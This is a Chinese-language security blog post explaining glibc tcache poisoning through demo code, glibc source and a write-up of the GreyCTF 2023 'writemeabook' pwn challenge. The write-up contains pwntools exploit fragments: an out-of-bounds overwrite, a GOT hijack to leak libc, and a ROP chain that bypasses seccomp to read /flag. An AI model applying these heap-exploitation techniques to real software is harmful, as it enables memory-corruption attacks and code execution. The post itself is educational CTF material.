原创 | 一文带你理解tcache缓存投毒

admin 2023年10月25日18:44:18评论9 views字数 10880阅读36分16秒阅读模式

tcache结构分析

Tcache(Thread Cache)是glibc(GNU C Library)从2.26 版本开始引入的一个特性,旨在提升内存分配性能。在tcache中,每个线程都有自己的缓存,可以减少线程间的互斥和锁的竞争。
默认情况下,大小小于等于 1032(0x408)字节的chunk会被放入tcache中。
分配释放:当程序进行malloc操作时,会优先检查tcache是否有可用的chunk,如果有,就直接返回。同样,当进行free操作时,如果chunk的大小符合要求,并且对应的tcache bin还未满(默认每个bin 可以存放 7 个chunk),就会把chunk放入tcache。否则,会按照原来的流程,放入unsorted bin或者其他的bin中。
数据结构:Tcache的数据结构主要是一个数组,每个元素都是一个单向链表的头节点。数组的下标对应了chunk的大小,即第 i 个元素对应了大小为 (i+1)*16 的chunk 的链表。链表中的每个节点都是一个空闲的chunk,节点的第一个字段存放了指向下一个节点的指针。
tcache在内存中的数据结构示意图如下:
+----+    +------+     +------+| 0  | -> | chunk| --> | chunk| --> NULL+----+    +------+     +------+| 1  | -> NULL+----+ | 2  | -> | chunk| --> NULL+----+    +------+| .. | +----+| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL+----+    +------+     +------+     +------+

了解tcache poisoning

我们先来看看缓存投毒的基本攻击思路,核心代码如下:
size_t stack_var; // 目标投毒的地址
intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);free(b);
b[0] = (intptr_t)&stack_var;  // tcache poisoning !
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权
然后我们来分过程看每一个环节的堆内存布局变化
  1. 连续申请两个chunk,再释放,此时释放的chunk进入到tcache管理起来
intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);free(b);
查看此时的堆内存布局
tcache链表有点像一个栈,遵循LIFO的原则
pwndbg> heapinfo(0x20)     fastbin[0]: 0x0(0x30)     fastbin[1]: 0x0(0x40)     fastbin[2]: 0x0(0x50)     fastbin[3]: 0x0(0x60)     fastbin[4]: 0x0(0x70)     fastbin[5]: 0x0(0x80)     fastbin[6]: 0x0(0x90)     fastbin[7]: 0x0(0xa0)     fastbin[8]: 0x0(0xb0)     fastbin[9]: 0x0                  top: 0x5555555593b0 (size : 0x20c50)        last_remainder: 0x0 (size : 0x0)             unsortbin: 0x0(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体
  1. 根据上文提到的内存布局,相同大小的tcache 通过链表维护起来。修改指针指向(后面会分析),使得tcache链表的指针指向栈上的地址
size_t stack_var; // addr: 0x7fffffffe508b[0] = (intptr_t)&stack_var;
此时我们观察到 tcache_entry[7] 的指向
pwndbg> heapinfo(0x20)     fastbin[0]: 0x0(0x30)     fastbin[1]: 0x0(0x40)     fastbin[2]: 0x0(0x50)     fastbin[3]: 0x0(0x60)     fastbin[4]: 0x0(0x70)     fastbin[5]: 0x0(0x80)     fastbin[6]: 0x0(0x90)     fastbin[7]: 0x0(0xa0)     fastbin[8]: 0x0(0xb0)     fastbin[9]: 0x0                  top: 0x5555555593b0 (size : 0x20c50)        last_remainder: 0x0 (size : 0x0)             unsortbin: 0x0(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
  1. 申请一次tcache分配,此时获得是之前释放的b chunk此时的tcache已经被
pwndbg> heapinfo(0x20)     fastbin[0]: 0x0(0x30)     fastbin[1]: 0x0(0x40)     fastbin[2]: 0x0(0x50)     fastbin[3]: 0x0(0x60)     fastbin[4]: 0x0(0x70)     fastbin[5]: 0x0(0x80)     fastbin[6]: 0x0(0x90)     fastbin[7]: 0x0(0xa0)     fastbin[8]: 0x0(0xb0)     fastbin[9]: 0x0                  top: 0x5555555593b0 (size : 0x20c50)        last_remainder: 0x0 (size : 0x0)             unsortbin: 0x0(0x90)   tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
  1. 第二次申请tcache 分配,本来这里是获得之前的a chunk的,但是由于 tcache 的指向已经发生了变化,导致我们可以获得一次针对栈上的地址进行读写的机会

原创 | 一文带你理解tcache缓存投毒

若要细究其原理,得从glibc中对应的源码入手:

从源码层面分析tcache

tache的数据结构如下:

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */typedef struct tcache_entry{  struct tcache_entry *next;} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */typedef struct tcache_perthread_struct{  char counts[TCACHE_MAX_BINS];  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
tcache_entry 结构体本质上是一个单链表指针,tcache_perthread_struct 存储了所有的 tcache 入口,通过 counts 记录每个 tcache 链的个数
tcache poisoning 漏洞涉及到两个函数:
  • 分配函数 tcache_get
  • 找到对应的 tcache_entry 表项
  • 取出链表的头节点返回
  • 回收函数 tcache_put
  • 将chunk强制转为 tcache_entry结构
  • 头插法将其插入到对应的 tcache_entry 表项中
    本质上是用链表实现了一个栈结构,FIFO
static void *tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]); // 对应的tcache数量减少1  return (void *) e;}
static voidtcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);  e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);}
重点是这行代码:
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
chunk2mem 的宏是这样的,即将chunk指针往后移动指向用户数据区域
/* Convert a chunk address to a user mem pointer without correcting   the tag.  */#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
而关键在于,代码中直接强制转化,将其转为tcache_entry 结构,这代表着,用户数据的前8个字节(64位)存储了tcache的next指针
这就意味着我们可以直接修改next指针,从而获得任意地址写的机会,因此tcache的利用相比fastbin事实上更加简单了

例题分析

题目源码和 exp 可以在这里找到
https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook

main函数

main函数主要功能:
  1. 输入作者签名
  2. 调用secure_library 设置 seccomp
  3. write_book程序主要功能
int __cdecl main(int argc, const char **argv, const char **envp){  setup(argc, argv, envp);  puts("Welcome to the library of hopes and dreams!");  puts("nWe heard about your journey...");  puts("and we want you to share about your experiences!");  puts("nWhat would you like your author signature to be?");  printf("> ");  LODWORD(author_signature) = ' yb';  __isoc99_scanf("%12s", (char *)&author_signature + 3);  puts("nGreat! We would like you to write no more than 10 books :)");  puts("Please feel at home.");  secure_library();  write_books();  return puts("Goodbye!");}

write_books

write_books 函数,功能总结为:
  • 1337 能泄露出一次给定分配块的地址
  • 1 新增一本书
  • 2 编辑一本书
  • 3 删除一本书
unsigned __int64 write_books(){  int choice; // [rsp+0h] [rbp-10h] BYREF  int fav_num; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
  v3 = __readfsqword(0x28u);  while ( 1 )  {    while ( 1 )    {      print_menu();      __isoc99_scanf("%d", &choice);      getchar();      if ( choice != 1337 )        break;      if ( !secret_msg )      {        printf("What is your favourite number? ");        __isoc99_scanf("%d", &fav_num);        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )          printf("You found a secret message: %pn", slot[2 * fav_num - 2]);        secret_msg = 1;      }LABEL_19:      puts("Invalid choice.");    }    if ( choice > 1337 )      goto LABEL_19;    if ( choice == 4 )      return v3 - __readfsqword(0x28u);    if ( choice > 4 )      goto LABEL_19;    switch ( choice )    {      case 3:        throw_book();        break;      case 1:        write_book();        break;      case 2:        rewrite_book();        break;      default:        goto LABEL_19;    }  }}

write_book

向书架中插入一本书,并且在书的尾部,写上作者签名和一个 magic number
可以看到一个书chunk的大小为输入的内容 + 0x10,并且会存储在 book 结构体中的size字段
unsigned __int64 write_book(){  int idx2; // ebx  _QWORD *v1; // rcx  __int64 v2; // rdx  int idx; // [rsp+4h] [rbp-4Ch] BYREF  size_t size; // [rsp+8h] [rbp-48h]  char buf[32]; // [rsp+10h] [rbp-40h] BYREF  char v7; // [rsp+30h] [rbp-20h]  unsigned __int64 v8; // [rsp+38h] [rbp-18h]
  v8 = __readfsqword(0x28u);  puts("nAt which index of the shelf would you like to insert your book?");  printf("Index: ");  __isoc99_scanf("%d", &idx);  getchar();  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )  {    puts("Invaid slot!");  }  else  {    --idx; // 书架的编号    memset(buf, 0, sizeof(buf));    v7 = 0;    puts("Write me a book no more than 32 characters long!");    size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节    idx2 = idx;    slot[2 * idx2] = malloc(size);    memcpy(slot[2 * idx], buf, size - 0x10);    v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部    v2 = qword_4040D8;    *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number    v1[1] = v2;    books[idx].size = size; // 这里存在问题,后续通过 books[idx].size 获取大小的时候要减掉0x10    puts("Your book has been published!n");  }  return v8 - __readfsqword(0x28u);}

rewrite_book 漏洞点

编辑一本书,但是注意到这里能够输入的内容为 books[idx].size ,而这就意味着我们可以多输入 0x10 的内容(oob,即out-of-bounds)来实现 chunk overlap(因为上文分析道用户数据的长度事实上只有 books[idx].size - 0x10
unsigned __int64 rewrite_book(){  _QWORD *v0; // rcx  __int64 v1; // rdx  int idx; // [rsp+Ch] [rbp-14h] BYREF  ssize_t v4; // [rsp+10h] [rbp-10h]  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
  v5 = __readfsqword(0x28u);  puts("nAt which index of the shelf would you like to rewrite your book?");  printf("Index: ");  __isoc99_scanf("%d", &idx);  getchar();  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )  {    --idx;    puts("Write me the new contents of your book that is no longer than what it was before.");    v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);    v1 = qword_4040D8;    *v0 = author_signature;    v0[1] = v1;    puts("Your book has been rewritten!n");  }  else  {    puts("Invaid slot!");  }  return v5 - __readfsqword(0x28u);}

throw_book

删除一本书,调用 free 函数
unsigned __int64 throw_book(){  int v1; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);  puts("nAt which index of the shelf would you like to throw your book?");  printf("Index: ");  __isoc99_scanf("%d", &v1);  getchar();  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )  {    free(slot[2 * --v1]);    slot[2 * v1] = 0LL;    puts("Your book has been thrown!n");  }  else  {    puts("Invaid slot!");  }  return v2 - __readfsqword(0x28u);

解题思路分析

题目存在很明显的漏洞点,即利用oob可以实现overlap

利用 tcache poisoning

来计算下我们要怎么做到 tcache poisioning
  1. 首先必须要两个 tcache,参照前面的示例(需要有一个tcache来修改指针指向)
  2. 其次,我们不能直接改 chunk 指针(前面的示例是在源码呢所以可以直接改),所以还需要一个快来通过overlap来修改指针
  3. 最后,为了达到 overlap 的目的,前面还需要一个块,通过oob溢出来实现overlap

malloc chunk

连续申请4个chunk,4个chunk的目的分别为:
  1. chunk1 泄露heap base addr + oob覆盖chunk2
  2. chunk2 修改 chunk3的next指针,实现 tcache poisoning
  3. chunk3 通过next指针获得一段可写的内存
  4. chunk4 用作 0x40 tcache的填充

原创 | 一文带你理解tcache缓存投毒

chunk1 oob to overlap

  1. 修改chunk1,oob修改chunk2的大小
  2. 释放chunk4,填充到0x40 tcache
  3. chunk2的大小被修改为0x40,和 chunk3 实现overlap
  4. 修改chunk2的内容,覆盖chunk3 的next指针

原创 | 一文带你理解tcache缓存投毒

泄漏libc base

books结构体的地址是固定的,地址为 0x4040e0 ,每个 book 结构体前 0x8 个字节存储这本书的 size ,另外 0x8 字节存储这本书在 chunk 地址

原创 | 一文带你理解tcache缓存投毒

当我们获得任意地址写的时候,就可以针对 0x4040e0 这个堆块去写入内容,再利用 rewrite_book 来实现劫持got表泄露 libc base addr
我们写入的内容为:
    edit(1, pwn.flat([            # 1==            0xff, # sz            exe.sym.stdout, # target            # 2==            0x8, # sz            exe.got.free, # target            # 3==            0x8, # sz            exe.sym.secret_msg, # target            # 4==            0xff, # sz            exe.sym.books # target        ] + [0] * 0x60, filler = b"x00"))
观察内存布局:
pwndbg> x/40gx 0x4040e00x4040e0 <books>:       0x00000000000000ff      0x00000000004040a00x4040f0 <books+16>:    0x0000000000000008      0x00000000004040180x404100 <books+32>:    0x0000000000000008      0x00000000004040c00x404110 <books+48>:    0x00000000000000ff      0x00000000004040e00x404120 <books+64>:    0x0000000000000000      0x00000000000000000x404130 <books+80>:    0x0000000000000000      0x00000000000000000x404140 <books+96>:    0x0000000000000000      0x00000000000000000x404150 <books+112>:   0x0000000000000000      0x00000000000000000x404160 <books+128>:   0x0000000000000000      0x00000000000000000x404170 <books+144>:   0x0000000000000000      0x0000000000000000
此时我们就可以理解为
  • 第一本书的内存地址为 0x4040a0(实际上这个为 stdout 的got表) size 为 0xff
  • 第二本书的内存地址为 0x404018(实际上这个为 free 的got表) size 为 0xff
  • 第三本书的内存地址为 0x4040c0 (实际上为 secret_msg 的地址),size 为 0x8
  • 第四本书的内存地址为 0x4040e0 (实际上我 sym.books 的地址,方便我们二次写入,size 为 0xff
于是可以劫持free的got表来实现打印 stdout@got 表项,再通过确定的偏移泄露出 libc base addr
    # free@got => puts    edit(2, b"".join([            pwn.p64(exe.sym.puts)        ]))

原创 | 一文带你理解tcache缓存投毒

ROP绕过seccomp

程序有seccomp保护,只允许read、write、open和exit
于是我们需要通过向栈上写入ROP的方式来读flag,首先计算栈帧
泄露环境变量地址来计算栈帧(注意第4本书我们之前设置了指向自身,因此可以反复编辑)
    # leak stack (environ)    edit(4, pwn.flat([            # 1==            0xff, # sz            libc.sym.environ # target        ], filler = b"x00"))
栈帧地址:也就是调用这个函数返回的ret地址

原创 | 一文带你理解tcache缓存投毒

获得栈帧地址后,使用 pwntools 自带的 rop 模块来实现
rop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframeedit(4, pwn.flat([        # 1==        0xff, # sz        stackframe_rewrite # target    ], filler = b"x00"))
# ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flagx00")

EXP调试

由于堆内存布局的原因,地址可能不一样,这里记录某次调试过程:

分配4个chunk

Book的结构如下:

原创 | 一文带你理解tcache缓存投毒

4个chunk的布局

原创 | 一文带你理解tcache缓存投毒

oob

  # chunk2 => sz extended    edit(1, b"K"*0x20)
此时的chunk2大小已经被修改了

原创 | 一文带你理解tcache缓存投毒

tcache poisoning

此时 tcache3 的 next 指针已经被修改了

原创 | 一文带你理解tcache缓存投毒

任意地址写

利用 tcache poisioning 修改 books 的结构,布局如下,至此 tcache poisoning 的利用就完成了

原创 | 一文带你理解tcache缓存投毒

参考

how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub
(https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c)

原文始发于微信公众号(SecIN技术平台):原创 | 一文带你理解tcache缓存投毒

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月25日18:44:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 一文带你理解tcache缓存投毒http://cn-sec.com/archives/2145529.html

发表评论

匿名网友 填写信息